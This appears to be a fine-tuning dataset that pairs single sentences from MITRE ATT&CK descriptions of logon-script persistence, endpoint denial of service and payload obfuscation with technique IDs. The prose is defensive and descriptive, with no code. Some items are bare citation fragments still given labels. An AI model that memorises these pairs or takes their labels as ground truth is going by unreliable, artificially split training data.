### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a network. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications.", "output": "T1499.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. ### Response: T1499.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, specific features in web applications may be highly resource intensive.", "output": "T1499.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, specific features in web applications may be highly resource intensive. ### Response: T1499.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)", "output": "T1499.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018) ### Response: T1499.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS).", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests.", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", "output": "T1499.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) ### Response: T1499.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users.", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Sucuri BIND9 August 2015)", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Sucuri BIND9 August 2015) ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition. ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition.", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485),", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.", "output": "T1499.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ### Response: T1499.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS).", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A flood of ACK packets are sent to the target.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A flood of ACK packets are sent to the target. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This forces the OS to search its state table for a related TCP connection that has already been established.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This forces the OS to search its state table for a related TCP connection that has already been established. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets.", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)", "output": "T1499.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood) ### Response: T1499.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example services include websites, email services, DNS, and web-based applications.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example services include websites, email services, DNS, and web-based applications. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can target various layers of the application stack that is hosted on the system used to provide the service.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets are commonly used to conduct DDoS attacks against networks and services.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets are commonly used to conduct DDoS attacks against networks and services. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Large botnets can generate a significant amount of traffic from systems spread across the global internet.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Large botnets can generate a significant amount of traffic from systems spread across the global internet. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume.", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cases where traffic manipulation is used, there may be points in the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China) ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1499", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498). ### Response: T1499."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code.", "output": "T1027.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. ### Response: T1027.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries.", "output": "T1027.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. ### Response: T1027.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566).", "output": "T1027.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Phishing](https://attack.mitre.org/techniques/T1566). ### Response: T1027.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)", "output": "T1027.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be delivered in formats unrecognizable and inherently 